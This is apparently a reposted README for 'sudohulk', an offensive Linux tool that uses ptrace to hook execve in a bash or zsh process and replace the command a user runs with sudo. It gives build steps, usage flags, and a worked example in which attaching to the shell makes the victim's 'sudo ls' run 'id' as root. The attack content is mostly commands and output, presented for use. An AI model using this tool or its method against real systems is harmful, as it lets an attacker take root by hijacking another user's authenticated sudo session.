sudohulktry privilege escalation changing sudo command

联合创作 · 2023-09-30 04:01

Sudohulk


This tool change sudo command, hooking the execve syscall using ptrace, tested under bash and zsh


supported architectures:



  • x86_64

  • x86

  • arm


How use:



$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
$ ./sudohulk
sudohulk [-qdk] PID COMMAND [ARGS]

Options:
-q quit when change a command
-d run in background
-k keep original command line (appending to new)


NOTES:


PID = bash or zsh pid


To attach the current session use -d option, example:



$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm:
uid=0(root) gid=0(root) grupos=0(root)


Demo


asciicast

浏览 10
点赞
评论
收藏
分享

手机扫一扫分享

编辑 分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

编辑 分享
举报